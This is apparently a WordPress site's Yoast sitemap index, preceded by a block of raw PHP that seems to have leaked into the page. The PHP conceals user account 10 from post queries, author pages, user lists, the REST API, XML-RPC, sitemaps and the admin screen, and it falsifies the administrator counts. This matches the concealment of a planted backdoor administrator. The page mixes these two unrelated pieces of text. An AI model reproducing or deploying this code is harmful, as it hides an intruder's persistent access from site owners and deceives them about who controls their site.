add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 10;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 10 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 10;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 10;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 10;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 10;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-10{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//www.alexander-riss.de/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap.xml</loc>
		<lastmod>2026-09-17T15:15:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap2.xml</loc>
		<lastmod>2026-08-19T17:24:06+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap3.xml</loc>
		<lastmod>2026-08-20T20:55:54+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap4.xml</loc>
		<lastmod>2026-08-23T23:29:13+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap5.xml</loc>
		<lastmod>2026-08-26T23:11:54+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap6.xml</loc>
		<lastmod>2026-08-28T03:26:00+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap7.xml</loc>
		<lastmod>2026-08-31T08:27:44+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap8.xml</loc>
		<lastmod>2026-08-31T18:49:08+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap9.xml</loc>
		<lastmod>2026-08-31T18:55:37+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap10.xml</loc>
		<lastmod>2026-08-31T19:00:01+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap11.xml</loc>
		<lastmod>2026-09-01T14:14:15+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap12.xml</loc>
		<lastmod>2026-09-02T04:42:42+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap13.xml</loc>
		<lastmod>2026-09-02T08:13:46+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap14.xml</loc>
		<lastmod>2026-09-02T16:31:56+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap15.xml</loc>
		<lastmod>2026-09-04T00:59:38+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap16.xml</loc>
		<lastmod>2026-09-04T09:29:37+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap17.xml</loc>
		<lastmod>2026-09-05T21:45:39+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap18.xml</loc>
		<lastmod>2026-09-06T16:41:42+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap19.xml</loc>
		<lastmod>2026-09-06T23:28:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap20.xml</loc>
		<lastmod>2026-09-07T00:43:13+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap21.xml</loc>
		<lastmod>2026-09-07T03:43:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap22.xml</loc>
		<lastmod>2026-09-07T05:23:06+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap23.xml</loc>
		<lastmod>2026-09-07T09:43:04+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap24.xml</loc>
		<lastmod>2026-09-07T10:38:58+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap25.xml</loc>
		<lastmod>2026-09-07T11:11:20+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap26.xml</loc>
		<lastmod>2026-09-07T12:09:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap27.xml</loc>
		<lastmod>2026-09-07T13:03:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap28.xml</loc>
		<lastmod>2026-09-07T13:30:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap29.xml</loc>
		<lastmod>2026-09-07T14:57:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap30.xml</loc>
		<lastmod>2026-09-07T16:43:27+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap31.xml</loc>
		<lastmod>2026-09-07T17:46:23+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap32.xml</loc>
		<lastmod>2026-09-07T19:21:23+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap33.xml</loc>
		<lastmod>2026-09-07T20:08:41+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap34.xml</loc>
		<lastmod>2026-09-07T22:17:39+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap35.xml</loc>
		<lastmod>2026-09-10T15:53:13+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap36.xml</loc>
		<lastmod>2026-09-11T01:20:09+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap37.xml</loc>
		<lastmod>2026-09-12T14:08:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap38.xml</loc>
		<lastmod>2026-09-14T11:00:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap39.xml</loc>
		<lastmod>2026-09-14T15:47:15+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap40.xml</loc>
		<lastmod>2026-09-16T07:13:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap41.xml</loc>
		<lastmod>2026-09-17T11:43:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap42.xml</loc>
		<lastmod>2026-09-17T15:15:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/page-sitemap.xml</loc>
		<lastmod>2026-09-15T15:47:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/category-sitemap.xml</loc>
		<lastmod>2026-09-17T15:15:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post_tag-sitemap.xml</loc>
		<lastmod>2026-09-14T16:00:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/ngg_tag-sitemap.xml</loc>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->